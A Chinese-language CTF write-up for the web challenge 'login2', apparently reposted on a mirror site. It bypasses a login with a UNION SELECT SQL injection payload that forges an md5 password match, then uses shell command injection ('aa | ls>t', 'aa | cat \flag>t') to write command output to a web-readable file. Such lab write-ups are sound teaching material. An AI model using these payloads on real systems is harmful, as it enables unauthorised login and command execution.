當前位置:網站首頁>ctf-WEB-login2(sql注入)

ctf-WEB-login2(sql注入)

2022-05-13 08:33:45榴蓮 蛋撻

題目地址:跳轉提示

打開網址,是一個熟悉的登陸頁面,幾次登錄嘗試發現報錯回顯只有一種

應當不是基於布爾的盲注,bp抓包看看:

發現響應中有一串奇怪的字符,嘗試使用base64解碼,得到:

這應該是一個提示,需要繞過其判斷條件

這裏就可以利用聯合查詢來注入(union select)

之前說過,union select後面加數字串時,如果沒有後面的錶名,則該語句沒有向任何一個數據庫查詢,那麼它輸出的內容就是select後的數字,並且使用聯合查詢要求必須保證前後查詢的字段數一致,因此要繞過判斷條件,可以payload

username=admi' UNION SELECT 1,md5(11)#&password=11,登錄成功

這樣就相當於:

$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
if (!empty($row) && $row['password']===md5($password)){
}

要注意,提取數據時很可能只取了結果集的第一行數據,所以要保證輸入的用戶名是錯誤的,以確保$row['password']===md5(11);

實驗了一下上述語句,推測$row的結構如下:
 

<?php
if($link=mysqli_connect("127.0.0.1","root","root","test")){
	$sql="SELECT username,password FROM admin WHERE username='admi' UNION SELECT 1,md5(11)";
	if($result=mysqli_query($link,$sql)){
		$raw=mysqli_fetch_array($result);
		var_dump($raw);
		mysqli_close($link);
	}else{
		echo mysqli_error;
		die();
	}
}else{
	echo mysqli_connect_error();
	die();
}
?>

 果然登錄成功:

隨便輸入ls,發現結果顯示使用了grep命令

再輸入命令aa | ls>t

訪問網站t目錄,果然看到了ls結果

於是嘗試輸入 aa | cat \flag>t

打開t

版權聲明
本文為[榴蓮 蛋撻]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/133/202205130652160498.html

隨機推薦